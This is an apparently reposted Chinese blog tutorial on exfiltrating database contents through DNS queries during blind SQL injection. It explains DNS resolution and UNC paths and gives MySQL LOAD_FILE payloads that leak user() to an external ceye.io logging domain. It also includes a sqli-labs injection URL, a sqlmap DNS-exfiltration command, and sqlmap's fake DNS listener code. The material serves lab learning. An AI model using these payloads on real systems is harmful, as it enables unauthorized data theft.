SQL注入之利用DNS获取数据

1.SQL注入

SQL注入一般分为报错注入和盲注,盲注的又分为布尔盲注和时间盲注。

       当我们发现一个站点存在一个没有数据回显的注入点进行注入时,只能采取盲注,这种注入速度非常慢,需要一个一个字符猜解,而且很容易搞挂网站,这时候我们就需要寻找一种快速有效的方法来获取数据。

此时我们就可以利用DNS来快速的获取数据,当然我们也可以在无回显的命令执行或者无回显的SSRF中利用

特点:速度快,能够绕过某些防护软件的限制

2.DNS

DNS是进行域名和与之相对应的IP地址转换的服务器

DNS域名解析:

主机本地域名服务器的查询一般都是采用递归查询

当主机所询问的本地域名服务器不知道被查询的域名的IP地址,那么本地域名服务器就以DNS客户的身份,向其它根域名服务器继续发出查询请求报文(即替主机继续查询),而不是让主机自己进行下一步查询。

因此,递归查询返回的查询结果或者是所要查询的IP地址,或者是报错,表示无法查询到所需的IP地址。

本地域名服务器根域名服务器的迭代查询过程:

当根域名服务器收到本地域名服务器发出的迭代查询请求报文时,要么给出所要查询的IP地址,要么告诉本地服务器:“你下一步应当向哪一个域名服务器进行查询”。然后让本地服务器进行后续的查询。根域名服务器通常是把自己知道的顶级域名服务器的IP地址告诉本地域名服务器,让本地域名服务器再向顶级域名服务器查询。顶级域名服务器在收到本地域名服务器的查询请求后,要么给出所要查询的IP地址,要么告诉本地服务器下一步应当向哪一个权限域名服务器进行查询。最后,知道了所要解析的IP地址或报错,然后把这个结果返回给发起查询的主机。

举个栗子:

域名为www.a.com的主机A 打算发送邮件给域名为www.b.com的主机B。这时就必须知道主机B的IP地址。下面是几个查询步骤:

1、主机A先向本地服务器dns.a.com进行递归查询。        

2、本地服务器采用迭代查询,它先向一个根域名服务器查询。        

3、根域名服务器告诉本地服务器,下一次应查询的顶级域名服务器dns.com的IP地址。        

4、本地域名服务器向顶级域名服务器dns.com进行查询。        

5、顶级域名服务器dns.com告诉本地域名服务器,下一步应查询的权限服务器dns.abc.com的IP地址。        

6、本地域名服务器向权限域名服务器dns.abc.com进行查询。        

7、权限域名服务器dns.abc.com告诉本地域名服务器,所查询的主机的IP地址。        

8、本地域名服务器最后把查询结果告诉m.xyz.com。

3.UNC路径

UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器.。UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。UNC路径就是类似\\softer这样的形式的网络路径

格式: \\servername\sharename ,其中 servername 是服务器名,sharename 是共享资源的名称。
目录或文件的 UNC 名称可以包括共享名称下的目录路径,格式为:\\servername\sharename\directory\filename

栗子:

将本机的DNS的服务器的地址设置为本机

使用脚本监控本地53端口数据(代码在最后),Ctrl+R输入地址,我们看到已经监听到我们输入的内容

4.利用过程

知道了上述过程,我们可以构造利用DNS从有漏洞的数据库中提取数据

前提条件:DBMS中需要有可用的,能直接或间接引发DNS解析过程的子程序,即使用到UNC

前人总结~

Microsoft SQL Server

   master..xp_dirtree    (用于获取所有文件夹的列表和给定文件夹内部的子文件夹)

   master..xp_fileexist     (用于确定一个特定的文件是否存在于硬盘)

   master..xp_subdirs     (用于得到给定的文件夹内的文件夹列表)

Oracle

   GET_HOST_ADDRES (用于检索特定主机的IP)

   UTL_HTTP.REQUEST  (从给定的地址检索到的第1-2000字节的数据)

Mysql

   load_file (读取文件内容并将其作为字符串返回)

PostgreSQL

   COPY  (用于在文件系统的文件和表之间拷贝数据)

.......

我们以Mysql为例~,使用第三方的DNS服务器ceye来演示该过程

使用自己的 ldentifier

先自己查询一下用户

输入我们的payloads

SELECT LOAD_FILE(CONCAT('\\\\',(SELECT hex(user())),'.mysql.ip.port.ukg4ig.ceye.io\\abc'));

稍等片刻,我们在平台就接受到数据了

我们复制16进制进行转码,得到数据~

5.注意点

1.\\\\ 进行转义为 \\,变成UNC格式,查询的数据需要转换为16进制,转化成能被dns正确处理的格式   类似URL编码~

2.mysql使用了load_file这个函数,需要账户是有读权限的

3.因为Linux没有UNC路径,所以当处于Linux系统时,不能使用该方式获取数据

4.这个技术本质是利用UNC发起的DNS查询,所以UNC的路径不能超过128,否则会失败。

6.实际站点的利用

http://127.0.0.1/sqli-labs-master/Less-2/?id=1 
and if((select load_file(concat('\\\\',(selecthex(user())),'.hhhhhhhhhhhhhhhh.com\\123'))),1,1)

7. sqlmap进行dns注入

必须要在管理员下运行,因为dns服务运行在特权端口53,必须要管理员权限

sqlmap支持dns回显注入

命令为: python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-2/?id=1" --tech B --dns-domain 192.168.0.18 --dbs

可以看下此时发送的一个语句:

最后附上代码 dns.py

#!/usr/bin/env python
#!_*_coding:utf-8_*_
"""
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""

import os
import re
import socket
import threading
import time

print "Listening......"
class DNSQuery(object):
    """
    Used for making fake DNS resolution responses based on received
    raw request

    Reference(s):
        http://code.activestate.com/recipes/491264-mini-fake-dns-server/
        https://code.google.com/p/marlon-tools/source/browse/tools/dnsproxy/dnsproxy.py
    """

    def __init__(self, raw):
        self._raw = raw
        self._query = ""

        type_ = (ord(raw[2]) >> 3) & 15                 # Opcode bits

        if type_ == 0:                                  # Standard query
            i = 12
            j = ord(raw[i])

            while j != 0:
                self._query += raw[i + 1:i + j + 1] + '.'
                i = i + j + 1
                j = ord(raw[i])

    def response(self, resolution):
        """
        Crafts raw DNS resolution response packet
        """

        retVal = ""

        if self._query:
            retVal += self._raw[:2]                                             # Transaction ID
            retVal += "\x85\x80"                                                # Flags (Standard query response, No error)
            retVal += self._raw[4:6] + self._raw[4:6] + "\x00\x00\x00\x00"      # Questions and Answers Counts
            retVal += self._raw[12:(12 + self._raw[12:].find("\x00") + 5)]      # Original Domain Name Query
            retVal += "\xc0\x0c"                                                # Pointer to domain name
            retVal += "\x00\x01"                                                # Type A
            retVal += "\x00\x01"                                                # Class IN
            retVal += "\x00\x00\x00\x20"                                        # TTL (32 seconds)
            retVal += "\x00\x04"                                                # Data length
            retVal += "".join(chr(int(_)) for _ in resolution.split('.'))       # 4 bytes of IP

        return retVal

class DNSServer(object):
    def __init__(self):
        self._check_localhost()
        self._requests = []
        self._lock = threading.Lock()
        try:
            self._socket = socket._orig_socket(socket.AF_INET, socket.SOCK_DGRAM)
        except AttributeError:
            self._socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self._socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self._socket.bind(("", 53))
        self._running = False
        self._initialized = False

    def _check_localhost(self):
        response = ""
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            s.connect(("", 53))
            s.send("6509012000010000000000010377777706676f6f676c6503636f6d00000100010000291000000000000000".decode("hex"))  # A www.google.com
            response = s.recv(512)
        except:
            pass
        finally:
            if response and "google" in response:
                raise socket.error("another DNS service already running on *:53")

    def pop(self, prefix=None, suffix=None):
        """
        Returns received DNS resolution request (if any) that has given
        prefix/suffix combination (e.g. prefix.<query result>.suffix.domain)
        """

        retVal = None

        with self._lock:
            for _ in self._requests:
                if prefix is None and suffix is None or re.search("%s\..+\.%s" % (prefix, suffix), _, re.I):
                    retVal = _
                    self._requests.remove(_)
                    break

        return retVal

    def run(self):
        """
        Runs a DNSServer instance as a daemon thread (killed by program exit)
        """

        def _():
            try:
                self._running = True
                self._initialized = True

                while True:
                    data, addr = self._socket.recvfrom(1024)
                    _ = DNSQuery(data)
                    self._socket.sendto(_.response("127.0.0.1"), addr)

                    with self._lock:
                        self._requests.append(_._query)

            except KeyboardInterrupt:
                raise

            finally:
                self._running = False

        thread = threading.Thread(target=_)
        thread.daemon = True
        thread.start()

if __name__ == "__main__":
    server = None
    try:
        server = DNSServer()
        server.run()

        while not server._initialized:
            time.sleep(0.1)

        while server._running:
            while True:
                _ = server.pop()

                if _ is None:
                    break
                else:
                    print "[i] %s" % _

            time.sleep(1)

    except socket.error, ex:
        if 'Permission' in str(ex):
            print "[x] Please run with sudo/Administrator privileges"
        else:
            raise
    except KeyboardInterrupt:
        os._exit(0)
    finally:
        if server:
            server._running = False
发布了67 篇原创文章 · 获赞 50 · 访问量 6万+

猜你喜欢

转载自blog.csdn.net/Auuuuuuuu/article/details/88082184
今日推荐